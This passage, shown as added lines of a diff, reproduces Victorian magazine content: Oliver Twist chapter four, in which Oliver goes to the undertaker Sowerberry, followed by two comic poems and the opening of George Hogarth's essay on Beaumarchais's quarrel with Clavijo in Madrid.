+The old gentleman stopped, laid down his pen, and looked from Oliver
+to Mr. Limbkins, who attempted to take snuff with a cheerful and
+unconcerned aspect.
+
+"My boy," said the old gentleman, leaning over the desk. Oliver started
+at the sound,--he might be excused for doing so, for the words were
+kindly said, and strange sounds frighten one. He trembled violently, and
+burst into tears.
+
+"My boy," said the old gentleman, "you look pale and alarmed. What is
+the matter?"
+
+"Stand a little away from him, beadle," said the other magistrate,
+laying aside the paper, and leaning forward with an expression of some
+interest. "Now, boy, tell us what's the matter: don't be afraid."
+
+Oliver fell on his knees, and, clasping his hands together, prayed that
+they would order him back to the dark room,--that they would starve
+him--beat him--kill him if they pleased--rather than send him away, with
+that dreadful man.
+
+"Well!" said Mr. Bumble, raising his hands and eyes with most impressive
+solemnity,--"Well! of _all_ the artful and designing orphans that ever I
+see, Oliver, you are one of the most bare-facedest."
+
+"Hold your tongue, beadle," said the second old gentleman, when Mr.
+Bumble had given vent to this compound adjective.
+
+"I beg your worship's pardon," said Mr. Bumble, incredulous of his
+having heard aright,--"did your worship speak to me?"
+
+"Yes--hold your tongue."
+
+Mr. Bumble was stupified with astonishment. A beadle ordered to hold his
+tongue! A moral revolution.
+
+The old gentleman in the tortoise-shell spectacles looked at his
+companion: he nodded significantly.
+
+"We refuse to sanction these indentures," said the old gentleman,
+tossing aside the piece of parchment as he spoke.
+
+"I hope," stammered Mr. Limbkins,--"I hope the magistrates will not
+form the opinion that the authorities have been guilty of any improper
+conduct, on the unsupported testimony of a mere child."
+
+"The magistrates are not called upon to pronounce any opinion on the
+matter," said the second old gentleman sharply. "Take the boy back to
+the workhouse, and treat him kindly. He seems to want it."
+
+That same evening the gentleman in the white waistcoat most positively
+and decidedly affirmed, not only that Oliver would be hung, but that
+he would be drawn and quartered into the bargain. Mr. Bumble shook his
+head with gloomy mystery, and said he wished he might come to good; to
+which Mr. Gamfield replied, that he wished he might come to him, which,
+although he agreed with the beadle in most matters, would seem to be a
+wish of a totally opposite description.
+
+The next morning the public were once more informed that Oliver Twist
+was again to let, and that five pounds would be paid to anybody who
+would take possession of him.
+
+
+                    CHAPTER THE FOURTH.
+
+         OLIVER, BEING OFFERED ANOTHER PLACE, MAKES HIS
+                 FIRST ENTRY INTO PUBLIC LIFE.
+
+In great families, when an advantageous place cannot be obtained, either
+in possession, reversion, remainder, or expectancy, for the young man
+who is growing up, it is a very general custom to send him to sea. The
+board, in imitation of so wise and salutary an example, took counsel
+together on the expediency of shipping off Oliver Twist in some small
+trading vessel bound to a good unhealthy port, which suggested itself
+as the very best thing that could possibly be done with him; the
+probability being, that the skipper would either flog him to death, in
+a playful mood, some day after dinner, or knock his brains out with
+an iron bar,--both pastimes being, as is pretty generally known, very
+favourite and common recreations among gentlemen of that class. The
+more the case presented itself to the board, in this point of view, the
+more manifold the advantages of the step appeared; so they came to the
+conclusion that the only way of providing for Oliver effectually, was to
+send him to sea without delay.
+
+Mr. Bumble had been despatched to make various preliminary inquiries,
+with the view of finding out some captain or other who wanted a
+cabin-boy without any friends; and was returning to the workhouse to
+communicate the result of his mission, when he encountered just at the
+gate no less a person than Mr. Sowerberry, the parochial undertaker.
+
+Mr. Sowerberry was a tall, gaunt, large-jointed man, attired in a suit
+of threadbare black, with darned cotton stockings of the same colour,
+and shoes to answer. His features were not naturally intended to wear
+a smiling aspect, but he was in general rather given to professional
+jocosity; his step was elastic, and his face betokened inward
+pleasantry, as he advanced to Mr. Bumble and shook him cordially by the
+hand.
+
+"I have taken the measure of the two women that died last night, Mr.
+Bumble," said the undertaker.
+
+"You'll make your fortune, Mr. Sowerberry," said the beadle, as he
+thrust his thumb and forefinger into the proffered snuff-box of the
+undertaker, which was an ingenious little model of a patent coffin. "I
+say you'll make your fortune, Mr. Sowerberry," repeated Mr. Bumble,
+tapping the undertaker on the shoulder in a friendly manner, with his
+cane.
+
+"Think so?" the undertaker in a tone which half admitted and half
+disputed the probability of the event. "The prices allowed by the board
+are very small, Mr. Bumble."
+
+"So are the coffins," replied the beadle, with precisely as near an
+approach to a laugh as a great official ought to indulge in.
+
+Mr. Sowerberry was much tickled at this, as of course he ought to be,
+and laughed a long time without cessation, "Well, well, Mr. Bumble,"
+he said at length, "there's no denying that, since the new system
+of feeding has come in, the coffins are something narrower and more
+shallow than they used to be; but we must have some profit, Mr. Bumble.
+Well-seasoned timber is an expensive article, sir; and all the iron
+bundles come by canal from Birmingham."
+
+"Well, well," said Mr. Bumble, "every trade has its drawbacks, and a
+fair profit is of course allowable."
+
+"Of course, of course," replied the undertaker; "and if I don't get a
+profit upon this or that particular article, why, I make it up in the
+long run, you see--he! he! he!"
+
+"Just so," said Mr. Bumble.
+
+"Though I must say,"--continued the undertaker, resuming the current
+of observations which the beadle had interrupted,--"though I must say,
+Mr. Bumble, that I have to contend against one very great disadvantage,
+which is, that all the stout people go off the quickest--I mean that the
+people who have been better off; and have paid rates for many years, are
+the first to sink when they come into the house; and let me tell you,
+Mr. Bumble, that three or four inches over one's calculation makes a
+great hole in one's profits, especially when one has a family to provide
+for, sir."
+
+As Mr. Sowerberry said this, with the becoming indignation of an
+ill-used man, and as Mr. Bumble felt that it rather tended to convey a
+reflection on the honour of the parish, the latter gentleman thought it
+advisable to change the subject; and Oliver Twist being uppermost in his
+mind, he made him his theme.
+
+"By the bye," said Mr. Bumble, "you don't know anybody who wants a
+boy, do you--a porochial 'prentis, who is at present a dead-weight,--a
+millstone, as I may say--round the porochial throat? Liberal terms, Mr.
+Sowerberry--liberal terms;"--and, as Mr. Bumble spoke, he raised his
+cane to the bill above him, and gave three distinct raps upon the words
+"five pounds," which were printed therein in Roman capitals of gigantic
+size.
+
+"Gadso!" said the undertaker, taking Mr. Bumble by the gilt-edged lappel
+of his official coat; "that's just the very thing I wanted to speak to
+you about. You know--dear me, what a very elegant button this is, Mr.
+Bumble; I never noticed it before."
+
+"Yes, I think it is rather pretty," said the beadle, glancing proudly
+downwards at the large brass buttons which embellished his coat. "The
+die is the same as the parochial seal,--the Good Samaritan healing
+the sick and bruised man. The board presented it to me on New-year's
+morning, Mr. Sowerberry. I put it on, I remember, for the first time, to
+attend the inquest on that reduced tradesman who died in a doorway at
+midnight."
+
+"I recollect," said the undertaker. "The jury brought in 'Died
+from exposure to the cold, and want of the common necessaries of
+life,'--didn't they?"
+
+Mr. Bumble nodded.
+
+"And they made it a special verdict, I think," said the undertaker, "by
+adding some words to the effect, that if the relieving officer had----"
+
+"Tush--foolery!" interposed the beadle angrily. "If the board attended
+to all the nonsense that ignorant jurymen talk, they'd have enough to
+do."
+
+"Very true," said the undertaker; "they would indeed."
+
+"Juries," said Mr. Bumble, grasping his cane tightly, as was his wont
+when working into a passion,--"juries is ineddicated, vulgar, grovelling
+wretches."
+
+"So they are," said the undertaker.
+
+"They haven't no more philosophy or political economy about 'em than
+that," said the beadle, snapping his fingers contemptuously.
+
+"No more they have," acquiesced the undertaker.
+
+"I despise 'em," said the beadle, growing very red in the face.
+
+"So do I," rejoined the undertaker.
+
+"And I only wish we'd a jury of the independent sort in the house for a
+week or two," said the beadle; "the rules and regulations of the board
+would soon bring their spirit down for them."
+
+"Let 'em alone for that," replied the undertaker. So saying, he smiled
+approvingly to calm the rising wrath of the indignant parish officer.
+
+Mr. Bumble lifted off his cocked-hat, took a handkerchief from the
+inside of the crown, wiped from his forehead the perspiration which his
+rage had engendered, fixed the cocked-hat on again; and, turning to the
+undertaker, said in a calmer voice,
+
+"Well, what about the boy?"
+
+"Oh!" replied the undertaker; "why, you know, Mr. Bumble, I pay a good
+deal towards the poor's rates."
+
+"Hem!" said Mr. Bumble. "Well?"
+
+"Well," replied the undertaker, "I was thinking that if I pay so much
+towards 'em, I've a right to get as much out of 'em as I can, Mr.
+Bumble; and so--and so--I think I'll take the boy myself."
+
+Mr. Bumble grasped the undertaker by the arm, and led him into the
+building. Mr. Sowerberry was closeted with the board for five minutes,
+and then it was arranged that Oliver should go to him that evening "upon
+liking,"--a phrase which means, in the case of a parish apprentice, that
+if the master find, upon a short trial, that he can get enough work out
+of a boy without putting too much food in him, he shall have him for a
+term of years, to do what he likes with.
+
+When little Oliver was taken before "the gentlemen" that evening,
+and informed that he was to go that night as general house-lad to a
+coffin-maker's, and that if he complained of his situation, or ever came
+back to the parish again, he would be sent to sea, there to be drowned,
+or knocked on the head, as the case might be, he evinced so little
+emotion, that they by common consent pronounced him a hardened young
+rascal, and ordered Mr. Bumble to remove him forthwith.
+
+Now, although it was very natural that the board, of all people in the
+world, should feel in a great state of virtuous astonishment and horror
+at the smallest tokens of want of feeling on the part of anybody, they
+were rather out, in this particular instance. The simple fact was, that
+Oliver, instead of possessing too little feeling, possessed rather
+too much, and was in a fair way of being reduced to a state of brutal
+stupidity and sullenness for life, by the ill usage he had received. He
+heard the news of his destination in perfect silence, and, having had
+his luggage put into his hand,--which was not very difficult to carry,
+inasmuch as it was all comprised within the limits of a brown paper
+parcel, about half a foot square by three inches deep,--he pulled his
+cap over his eyes, and once more attaching himself to Mr. Bumble's coat
+cuff, was led away by that dignitary to a new scene of suffering.
+
+For some time Mr. Bumble drew Oliver along, without notice or remark,
+for the beadle carried his head very erect, as a beadle always should;
+and, it being a windy day, little Oliver was completely enshrouded by
+the skirts of Mr. Bumble's coat as they blew open, and disclosed to
+great advantage his flapped waistcoat and drab plush knee-breeches.
+As they drew near to their destination, however, Mr. Bumble thought
+it expedient to look down and see that the boy was in good order for
+inspection by his new master, which he accordingly did, with a fit and
+becoming air of gracious patronage.
+
+"Oliver!" said Mr. Bumble.
+
+"Yes, sir," replied Oliver, in a low, tremulous voice.
+
+"Pull that cap off of your eyes, and hold up your head, sir."
+
+Although Oliver did as he was desired at once, and passed the back of
+his unoccupied hand briskly across his eyes, he left a tear in them
+when he looked up at his conductor. As Mr. Bumble gazed sternly upon
+him, it rolled down his cheek. It was followed by another, and another.
+The child made a strong effort, but it was an unsuccessful one; and,
+withdrawing his other hand from Mr. Bumble's, he covered his face with
+both, and wept till the tears sprung out from between his thin and bony
+fingers.
+
+"Well!" exclaimed Mr. Bumble, stopping short, and darting at his little
+charge a look of intense malignity,--"well, of _all_ the ungratefullest,
+and worst-disposed boys as ever I see, Oliver, you are the----"
+
+"No, no, sir," sobbed Oliver, clinging to the hand which held the
+well-known cane; "no, no, sir; I will be good indeed; indeed, indeed, I
+will, sir! I am a very little boy, sir; and it is so--so--"
+
+"So what?" inquired Mr. Bumble in amazement.
+
+"So lonely, sir--so very lonely," cried the child. "Everybody hates me.
+Oh! sir, don't be cross to me. I feel as if I had been cut here, sir,
+and it was all bleeding away;" and the child beat his hand upon his
+heart, and looked into his companion's face with tears of real agony.
+
+Mr. Bumble regarded Oliver's piteous and helpless look with some
+astonishment for a few seconds, hemmed three or four times in a husky
+manner, and, after muttering something about "that troublesome cough,"
+bid Oliver dry his eyes and be a good boy; and, once more taking his
+hand, walked on with him in silence.
+
+The undertaker had just put up the shutters of his shop, and was making
+some entries in his day-book by the light of a most appropriately dismal
+candle, when Mr. Bumble entered.
+
+"Aha!" said the undertaker, looking up from the book, and pausing in the
+middle of a word; "is that you, Bumble?"
+
+"No one else, Mr. Sowerberry," replied the beadle. "Here, I've brought
+the boy." Oliver made a bow.
+
+"Oh! that's the boy, is it?" said the undertaker, raising the candle
+above his head to get a full glimpse of Oliver. "Mrs. Sowerberry! will
+you come here a moment, my dear?"
+
+Mrs. Sowerberry emerged from a little room behind the shop, and
+presented the form of a short, thin, squeezed-up woman, with a vixenish
+countenance.
+
+"My dear," said Mr. Sowerberry, deferentially, "this is the boy from the
+workhouse that I told you of." Oliver bowed again.
+
+"Dear me!" said the undertaker's wife, "he's very small."
+
+"Why, he _is_ rather small," replied Mr. Bumble, looking at Oliver as
+if it were his fault that he wasn't bigger; "he is small,--there's no
+denying it. But he'll grow, Mrs. Sowerberry,--he'll grow."
+
+"Ah! I dare say he will," replied the lady pettishly, "on our victuals,
+and our drink. I see no saving in parish children, not I; for they
+always cost more to keep, than they're worth: however, men always think
+they know best. There, get down stairs, little bag o' bones." With
+this, the undertaker's wife opened a side door, and pushed Oliver down
+a steep flight of stairs into a stone cell, damp and dark, forming the
+ante-room to the coal-cellar, and denominated "the kitchen," wherein sat
+a slatternly girl in shoes down at heel, and blue worsted stockings very
+much out of repair.
+
+"Here, Charlotte," said Mrs. Sowerberry, who had followed Oliver down,
+"give this boy some of the cold bits that were put by for Trip: he
+hasn't come home since the morning, so he may go without 'em. I dare say
+he isn't too dainty to eat 'em,--are you, boy?"
+
+Oliver, whose eyes had glistened at the mention of meat, and who was
+trembling with eagerness to devour it, replied in the negative; and a
+plateful of coarse broken victuals was set before him.
+
+I wish some well-fed philosopher, whose meat and drink turn to gall
+within him, whose blood is ice, and whose heart is iron, could have seen
+Oliver Twist clutching at the dainty viands that the dog had neglected,
+and witnessed the horrible avidity with which he tore the bits asunder
+with all the ferocity of famine:--there is only one thing I should
+like better; and that would be to see him making the same sort of meal
+himself with the same relish.
+
+"Well," said the undertaker's wife, when Oliver had finished his supper,
+which she had regarded in silent horror, and with fearful auguries of
+his future appetite, "have you done?"
+
+There being nothing eatable within his reach, Oliver replied in the
+affirmative.
+
+"Then come with me," said Mrs. Sowerberry, taking up a dim and dirty
+lamp, and leading the way up stairs; "your bed's under the counter. You
+won't mind sleeping among the coffins, I suppose?--but it doesn't much
+matter whether you will or not, for you won't sleep any where else.
+Come; don't keep me here, all night."
+
+Oliver lingered no longer, but meekly followed his new mistress.
+
+
+
+
+    A REMNANT OF THE TIME OF IZAAK WALTON.
+         VENATOR, AMATOR, EBRIOLUS.
+
+               _Venator._
+    Good morrow, good morrow! say whither ye go,--
+    To the chase above, or the woods below?
+    Brake and hollow their quarry hold,
+    Streams are bright with backs of gold:
+    'Twere shame to lose so fair a day,--
+    So, whither ye wend, my masters, say.
+
+               _Amator._
+    The dappled herd in peace may graze,
+    The fish fling back the sun's bright rays;
+    I bend no bow, I cast no line,
+    The chase of Love alone is mine.
+
+               _Ebriolus._
+    Your venison and pike
+    Ye may get as ye like,
+      They grace a board right well;
+    But the sport for my share
+    Is the chase of old Care,
+      When the wine-cup tolls his knell.
+
+               _Venator._
+    Give ye good-den, my masters twain,
+    I'll flout ye, when we meet again:
+    Sad lover, lay thee down and pine;
+    Go thou, and blink o'er thy noon-day wine;
+    I'll to the woods. Well may ye fare
+    With two such deer, as Love and Care.
+
+
+
+
+                 THE "ORIGINAL" DRAGON.
+             A LEGEND OF THE CELESTIAL EMPIRE.
+
+  _Freely translated from an undeciphered MS. of Con-fuse-us,_[49] _and
+        dedicated to Colonel Bolsover, (of the Horse Marines,)
+                   by C. J. Davids, Esq._
+
+                        I.
+    A desperate dragon, of singular size,--
+      (His name was _Wing-Fang-Scratch-Claw-Fum_,)--
+    Flew up one day to the top of the skies,
+      While all the spectators with terror were dumb.
+    The vagabond vow'd, as he sported his tail,
+      He'd have a _sky lark_, and some glorious fun;
+    For he'd nonplus the natives that day without fail,
+      By causing a _total eclipse of the sun_![50]
+    He collected a crowd by his impudent boast,
+      (Some decently dress'd--some with hardly a rag on,)
+    Who said that the country was ruin'd and lost,
+      Unless they could compass the death of the _dragon_.
+
+                       II.
+    The emperor came with the whole of his court,--
+      (His majesty's name was _Ding-Dong-Junk_)--
+    And he said--to delight in such profligate sport,
+      The monster was mad, or disgracefully drunk.
+    He call'd on the army: the troops to a man
+      Declar'd--though they didn't feel frighten'd the least--
+    They never could think it a sensible plan
+      To go within reach of so ugly a beast.
+    So he offer'd his daughter, the lovely _Nan-Keen_,
+      And a painted pavilion, with many a flag on,
+    To any brave knight who would step in between
+      The _solar eclipse_ and the dare-devil _dragon_.
+
+                      III.
+    Presently came a reverend bonze,--
+      (His name, I'm told, was _Long-Chin-Joss_,)--
+    With a phiz very like the complexion of bronze;
+      And for suitable words he was quite at a loss.
+    But, he humbly submitted, the orthodox way
+      To succour the _sun_, and to bother the foe,
+    Was to make a new church-rate without more delay,
+      As the clerical funds were deplorably low.
+    Though he coveted nothing at all for himself,
+      (A virtue he always delighted to brag on,)
+    He thought, if the priesthood could pocket some pelf,
+      It might hasten the doom of this impious _dragon_.
+
+                      IV.
+    The next that spoke was the court buffoon,--
+      (The name of this buffer was _Whim-Wham-Fun_,)--
+    Who carried a salt-box, and large wooden spoon,
+      With which, he suggested, the job might be done.
+    Said the jester, "I'll wager my rattle and bells,
+      Your pride, my fine fellow, shall soon have a fall:
+    If you make many more of your damnable yells,
+      I know a good method to make you sing small!"
+    And, when he had set all the place in a roar,
+      As his merry conceits led the whimsical wag on,
+    He hinted a plan to get rid of the bore,
+      By putting some _salt_ on the _tail_ of the _dragon_!
+
+                        V.
+    At length appear'd a brisk young knight,--
+      (The far-fam'd warrior, _Bam-Boo-Gong_,)--
+    Who threaten'd to burke the big blackguard outright,
+      And have the deed blazon'd in story and song.
+    With an excellent shot from a very _long bow_
+      He damag'd the dragon by cracking his crown;
+    When he fell to the ground (as my documents show)
+      With a smash that was heard many miles out of town.
+    His death was the signal for frolic and spree--
+      They carried the corpse in a common stage-waggon;
+    And the hero was crown'd with the leaves of green tea,
+      For saving the _sun_ from the jaws of the _dragon_.
+
+                       VI.
+    A poet, whose works were all the rage,--
+      (This gentleman's name was _Sing-Song-Strum_,)--
+    Told the terrible tale on his popular page:
+      (Compar'd with _his_ verses, _my_ rhymes are but rum!)
+    The Royal Society claim'd, as their right,
+      The spoils of the vanquish'd--his wings, tail, and claws;
+    And a brilliant bravura, describing the fight,
+      Was sung on the stage with unbounded applause.
+    "The valiant _Bam-Boo_" was a favourite toast,
+      And a topic for future historians to fag on,
+    Which, when it had reach'd to the Middlesex coast,
+      Gave rise to the legend of "_George and the Dragon_."
+
+[49] "Better know to illiterate people as _Confucius_."
+     --WASHINGTON IRVING.
+
+[50] In _China_ (whatever European astronomers may assert to the
+     contrary) an _eclipse_ is caused by a _great dragon
+     eating up the sun_.
+
+To avert so shocking an outrage, the natives frighten away the monster
+from his intended _hot_ dinner, by giving a morning concert, _al
+fresco_; consisting of drums, trumpets, cymbals, gongs, tin-kettles, &c.
+
+
+
+
+            A PASSAGE IN THE LIFE OF BEAUMARCHAIS.
+                      BY GEORGE HOGARTH.
+
+M. de Beaumarchais, the celebrated French dramatist, was one of the
+most remarkable men of his time, though his fame now rests in a great
+measure on his two comedies, _Le Barbier de Seville_, and _Le Mariage
+de Figaro_; and even these titles are now-a-days much more generally
+associated with the names of Rossini and Mozart, than with that of
+Beaumarchais. Few comedies, however, have been more popular on the
+French stage than these delightful productions. The character of Susanna
+was the _chef d'oeuvre_ of the fascinating Mademoiselle Contat; and
+has preserved its attractions, almost down to the present time, in the
+hands of her evergreen successor, the inimitable Mars. The Count and
+Countess Almaviva, Susanna, Figaro, and Cherubino, have now become
+the property of Italian singers; and, in this musical age, even the
+French public have been content to give up the wit, satire, point, and
+playfulness of the original comedies, for those meagre outlines which
+have been made the vehicles for the most charming dramatic music in
+the world. Not that _Il Barbiere di Siviglia_ and _Le Nozze di Figaro_
+are not lively and amusing, considered as operas; but the _vis comica_
+of Beaumarchais has almost entirely evaporated in the process of
+transmutation.
+
+None of the other dramatic works of Beaumarchais are comparable to
+these. Some of them bear marks of immature genius; and his last play,
+_La Mère Coupable_, the conclusion of the history of the Almaviva
+family, was written after a long interval, and when advanced age, and
+a life of cares and troubles, appear to have extinguished the author's
+gaiety, and changed the tone of his feelings. The play is written with
+power, but it is gloomy, and even tragical; succeeding its lively and
+brilliant precursors as a sunset of clouds and darkness closes a bright
+and smiling day. It painfully disturbs the agreeable associations
+produced by the names of its characters; and, for the sake of these
+associations, every one who reads it must wish to forget it.
+
+But it is not so much to the writings of Beaumarchais, as to himself,
+that we wish at present to direct the attention of our readers. His life
+was anything but that of a man of letters. He possessed extraordinary
+talents for affairs; and, during his whole life, was deeply engaged
+in important pursuits both of a private and public nature. Extensive
+commercial enterprises, lawsuits of singular complication, and missions
+of great moment as a political agent, withdrew him from the walks of
+literature, and probably prevented him (as one of his biographers
+has remarked) from enriching the French stage with twenty dramatic
+masterpieces, instead of two or three. In this respect he resembled our
+Sheridan, as well as in the character of his genius; for we know of no
+plays that are more akin to each other, in many remarkable features,
+than _The School for Scandal_ and _Le Mariage de Figaro_.
+
+It is a remarkable circumstance in the history of Beaumarchais, that a
+considerable portion of his literary fame was derived from a species
+of composition from which anything of the kind could hardly have been
+expected,--the pleadings, or law-papers, in the various causes in
+which he was involved. The proceedings in the French parliaments, or
+high courts of justice, were totally different from those with which
+we are acquainted in England; though they were similar to those which
+were practised in the Scottish court of session, (a tribunal formed
+on the French model,) before that court came in for its share in the
+general progress of reform. There were no juries; the proceedings were
+conducted under the direction of a single judge, whose business it was
+to prepare the cause for decision, and then to make a report upon it
+to the whole court, by whom the judgment was given. A favourable view
+of the case from the reporting judge was, of course, an object of much
+importance; and the most urgent solicitations by the litigants and their
+friends--nay, even bribes--were often employed to obtain it. A charge
+against Beaumarchais,--a groundless one, however,--of having attempted
+to bribe the wife of one of these judges, exposed him to a long and
+violent persecution. Among his enemies were men of rank and power; the
+grossest calumnies against him were circulated in the highest quarters,
+and countenanced by the court in which he was a litigant; the bar became
+afraid to support him, and he could no longer find an advocate. In these
+forlorn circumstances the energy of his character did not abandon him,
+and he resolved to become his own advocate.
+
+The pleadings in the French courts of those days were all written. The
+cause was debated in _mémoires_, or memorials, in which the pleas of
+the parties were stated without any of our technical formality. Law,
+logic, eloquence, pathos, and sarcasm, were all employed, in whatever
+way the pleader thought most advantageous. The paper was printed and
+distributed, not only among the judges, but among the friends and
+connexions of the parties; and when the case excited much interest, the
+distribution was often so extensive as almost to amount to publication.
+Beaumarchais, deserted by his former advocates, began to compose his own
+memorials, to which he found means to obtain the mere signature of some
+member of the bar. In this manner he fought a long and desperate battle,
+in which, after some severe reverses, (one of which was the burning of
+a series of his memorials by the common hangman, pursuant to a sentence
+of the court,) he at length achieved a complete and signal victory over
+all his enemies, whom he not only defeated on the immediate subjects of
+dispute, but overwhelmed with universal ridicule and contempt.
+
+In the mean time these _mémoires_ produced an extraordinary sensation
+throughout France. When a new one appeared, it flew from hand to hand
+like lightning. The causes in which Beaumarchais was involved were so
+interesting in themselves, and connected with such strange occurrences,
+that, had they belonged to the period of the _Causes Célèbres_, they
+would have made a remarkable figure in that famous collection. Their
+interest was increased a thousand-fold by the memorials of Beaumarchais.
+"The genius," says a French writer, "with which they are marked, the
+originality of the style, the dramatic form of the narrative, mingled
+with fine bursts of eloquence, keep the attention always awake; while
+the logical clearness of the reasoning, and the art of accompanying
+every statement of facts with striking and conclusive evidence, lay hold
+of the mind, and interest and instruct, without fatiguing the reader.
+But their most remarkable feature is the noble firmness of mind which
+they display; the serenity of a lofty spirit which the most terrible
+and unforeseen reverses were unable to subdue or intimidate; the stamp,
+in short, of a great character which is impressed upon them." These
+writings of Beaumarchais are spoken of in terms of admiration by the
+most eminent literati of that day, especially by Voltaire, in many parts
+of his correspondence; they attracted the notice of the government, and
+procured for their author several political missions, the results of
+which had no small influence on the public affairs of the time.
+
+We have given this sketch of the character of Beaumarchais by way of
+introduction to an account of a remarkable incident of his life, taken
+from one of those extraordinary productions. Among other calumnies, he
+had been charged, at one time with a series of atrocities committed in
+Spain ten years before; and, among other things, with having endeavoured
+to bully a Spanish gentleman into a marriage with his sister, whom that
+gentleman had kept as a mistress; and it was added that he had been
+expelled from Spain in disgrace. In one of his _mémoires_ he answers
+these accusations, by giving a narrative of his residence in Spain
+during the period in question. It is a leaf of "the romance of real
+life," and the interest of the story is heightened by the conviction
+of its entire truth; for every fact is confirmed by evidence, and the
+smallest incorrectness, as the writer knew, would be laid hold of by
+his enemies. Goethe, it is not immaterial to add, has made it the
+subject of his tragedy of _Clavijo_, the characters of which consist
+of Beaumarchais himself, and the other persons introduced into his
+narrative; though the great German dramatist has taken some poetical
+liberties with the story, especially in its tragical catastrophe.
+
+The following narrative is a _condensation_ of the original, which
+contains minute details and pieces of evidence, of great importance to
+M. de Beaumarchais' object at the time,--a conclusive vindication of his
+character, but not at all conducive to the interest of the story.
+
+"For some years I had enjoyed the happiness of living in the bosom
+of my family; and our domestic union consoled me for all I suffered
+through the malice of my enemies. I had five sisters. Two of them had
+been committed by my father, at a very early age, to the care of one of
+his correspondents in Spain, so that I had only that faint but pleasant
+remembrance of them which is associated with our days of childhood. This
+remembrance, however, was kept alive by frequent correspondence.
+
+"In February 1764, my father received from his eldest daughter a letter
+of very painful import. 'My sister,' she wrote, 'has been grossly abused
+by a powerful and dangerous man. Twice, when on the point of marrying
+her, he has broken his word, and withdrawn without condescending to
+assign any reason for his conduct; and my poor sister's wounded feelings
+have thrown her into a state of depression from which we have faint
+hopes of her recovery. For these six days she has not spoken a word.
+Under this unmerited stigma, we are living in the deepest retirement.
+I weep night and day, and endeavour to offer the unhappy girl comfort
+which I cannot find myself.'
+
+"My father put his daughter's letter into my hands, 'Try, my son,' he
+said, 'what you can do for these poor girls. They are your sisters as
+well as the others.'
+
+"'Alas, my dear father,' I said, 'what can I do for them? What
+assistance shall I ask? Who knows but they may have brought this
+disgrace upon themselves by some fault of their own?'
+
+"My father showed me some letters from our ambassador to my elder
+sister, in which he spoke of both of them in terms of the highest
+esteem. I read these letters. They gave me courage; and my father's
+phrase, 'They are your sisters as well as the others,' had sunk into my
+heart. 'Console yourself,' I said to him, 'I am going to adopt a course
+that may surprise you; but it appears to me the surest and the most
+prudent. My eldest sister mentions several respectable persons in Paris
+who can give testimony to the good conduct and virtue of her sister. I
+will see them; and if their testimony is as honourable as that of our
+ambassador, I shall instantly set out for Madrid, and either punish the
+traitor who has outraged them, or bring them back with me to share my
+humble fortune.'
+
+"My inquiries were completely satisfactory. I immediately returned to
+Versailles, and informed my august patronesses,[51] that business, no
+less painful than urgent, demanded my immediate presence at Madrid.
+I showed them my sister's letter, and received their permission to
+depart, in terms of the kindest encouragement. My preparations were
+soon made, as I dreaded that I might not arrive in time to save my poor
+sister's life. I obtained the strongest letters of recommendation to
+our ambassador at Madrid; and my ancient friend, M. Duvernay, gave me
+a credit on himself to the amount of two hundred thousand francs, to
+enable me to transact a piece of commercial business, and at the same
+time to increase my personal consideration. I was accompanied by one of
+my friends, a merchant, who had some business in Spain; but who went
+also partly on my account.
+
+"We travelled day and night, and arrived in Madrid on the 18th of May
+1764. I had been expected for some days, and found my sisters in the
+midst of their friends. As soon as the feelings, caused by a meeting
+between a brother and his sisters, so long separated, and seeing each
+other once more under such circumstances, had subsided, I earnestly
+conjured them to give me an exact account of all that had happened, in
+order that I might be able to serve them effectually. The story was long
+and minute. When I had heard it to an end, I embraced my young sister:
+
+"'Now that know all, my dear girl,' I said, 'keep your mind at ease. I
+am delighted to see that you no longer love this man, and my part is all
+the easier on that account. All that I want now, is to know where I can
+find him.'
+
+"Our friends began eagerly to advise me to go, first of all, to
+Aranjuez, and wait upon the French ambassador, in order to obtain his
+protection against a man whose official situation gave him so much
+influence with people in power. But I had made up my mind to follow a
+different course; and, without giving any intimation of my intention, I
+merely begged that my arrival might be kept a secret till my return from
+Aranjuez.
+
+"I immediately changed my travelling dress, and found my way to the
+residence of Don Joseph Clavijo, keeper of the archives of the
+crown. He was from home, but I went in search of him; and it was in
+the drawing-room of a lady whom he had gone to visit that I told him,
+that, having just arrived from France, and being intrusted with some
+commissions for him, I was anxious to have an interview with him as
+soon as possible. He asked me to breakfast the following morning; and I
+accepted the invitation for myself and the French merchant who was along
+with me.
+
+"Next morning, I was with him at half-past eight o'clock. I found him in
+a splendid house, which, he said, belonged to Don Antonio Portugues, the
+highly-respected head of one of the government offices, and so much his
+friend, that in his absence he used the house as if it were his own.
+
+"'I am commissioned, sir,' I began, 'by a society of men of letters,
+to establish, in the different towns which I visit, a literary
+correspondence with the most distinguished men of the place; and I am
+sure that I cannot serve my friends more effectually than by opening a
+correspondence between them and the distinguished author of the papers
+published under the title of the '_Pensador_'.[52]
+
+"He seemed delighted with the proposal. That I might the better know
+my man, I allowed him to expatiate on the advantages which different
+countries might derive from this kind of literary intercourse. His
+manner became quite affectionate; he talked like on oracle; and was all
+smiles and self-satisfaction. At last he bethought himself of asking
+what business of my own had brought me to Spain, politely expressing his
+wish to be of service to me.
+
+"'I accept,' I said, 'your kind offers with much gratitude, and assure
+you, sir, that I shall explain my business very openly.'
+
+"With the view of throwing him into a state of perplexity in which I
+intended him to remain till it should be cleared up by the conclusion
+of what I had to say, I again introduced my friend to him, telling him
+that the gentleman was not unacquainted with the matter, and that his
+presence would do no harm. At this exordium, Clavijo turned his eyes on
+my friend with an air of curiosity. I began:
+
+"'A French merchant, who had a numerous family and a narrow fortune,
+had several correspondents in Spain. One of the richest of them,
+happening to be at Paris nine or ten years ago, proposed to adopt two
+of his daughters. He would take them, he said, to Madrid; he was an
+old bachelor; they should be to him as children, and be the comfort of
+his old age; and after his death they should succeed to his mercantile
+establishment. The two eldest daughters were committed to his care. Two
+years afterwards he died, leaving the Frenchwomen without any other
+advantage than the burden of carrying on an embarrassed commercial
+house. Their good conduct, however, and amiable qualities, gained them
+many friends, who exerted themselves to increase their credit and
+improve their circumstances.'
+
+"I observed Clavijo become very attentive.
+
+"'About this time, a young man, a native of the Canaries, got an
+introduction to their house.'
+
+"Clavijo's gaiety of countenance vanished.
+
+"'Anxious to make himself known, this young gentleman conceived the
+idea of giving Madrid a pleasure of a novel description in Spain, by
+establishing a periodical paper in the style of the English _Spectator_.
+He received encouragement and assistance, and nobody doubted that his
+undertaking would be fully successful. It was then that, animated by the
+hope of reputation and fortune, he made a proposal of marriage to the
+younger of the French ladies. The elder told him, that he should first
+endeavour to succeed in the world; and that as soon as some regular
+employment, or other means of honourable subsistence, should give him
+a right to think of her sister, her consent, if he gained her sister's
+affections, should not be wanting.'
+
